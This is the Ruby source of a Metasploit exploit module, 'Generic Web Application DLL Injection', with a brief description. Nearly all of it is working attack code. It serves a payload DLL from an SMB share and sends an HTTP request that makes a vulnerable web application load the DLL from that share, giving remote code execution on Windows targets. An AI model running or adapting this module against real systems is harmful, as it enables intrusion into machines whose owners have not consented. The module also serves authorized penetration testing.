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Generic Web Application DLL Injection

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This is a general-purpose module for exploiting conditions where a HTTP request triggers a DLL load from an specified SMB share. This Metasploit module serves payloads as DLLs over an SMB service and allows an arbitrary HTTP URL to be called that would trigger the load of the DLL.

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::SMB::Server::Share
include Msf::Exploit::EXE

def initialize(info={})
super(update_info(info,
'Name' => 'Generic Web Application DLL Injection',
'Description' => %q{
This is a general-purpose module for exploiting conditions where a HTTP request
triggers a DLL load from an specified SMB share. This module serves payloads as
DLLs over an SMB service and allows an arbitrary HTTP URL to be called that would
trigger the load of the DLL.
},
'Author' =>
[
'Matthew Hall <hallm[at]sec-1.com>'
],
'Platform' => 'win',
'Privileged' => false,
'Arch' => [ARCH_X86, ARCH_X86_64],
'Stance' => Msf::Exploit::Stance::Aggressive,
'Payload' =>
{
'Space' => 2048,
'DisableNops' => true
},
'References' =>
[
['CWE', '427']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Targets' =>
[
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
],
'DefaultTarget' => 0, # Default target is 32-bit as we usually inject into 32bit processes
'DisclosureDate' => 'Mar 04 2015'
))

register_options(
[
OptString.new('FILE_NAME', [false, 'DLL File name to share (Default: random .dll)']),
OptString.new('TARGETURI', [true, 'Path to vulnerable URI (The shared location will be added at the end)', '/cgi-bin/function.php?argument=' ]),
OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 10])
], self.class)

deregister_options('FILE_CONTENTS')
end

def setup
super

self.file_contents = generate_payload_dll
self.file_name = datastore['FILE_NAME'] || "#{Rex::Text.rand_text_alpha(4 + rand(3))}.dll"
print_status("File available on #{unc}...")
end

def primer
sploit = target_uri.to_s
sploit << unc

print_status("#{peer} - Trying to ")
send_request_raw({
'method' => 'GET',
'uri' => sploit
}, 3)
end

def exploit
begin
Timeout.timeout(datastore['SMB_DELAY']) {super}
rescue Timeout::Error
# do nothing... just finish exploit and stop smb server...
end
end
end

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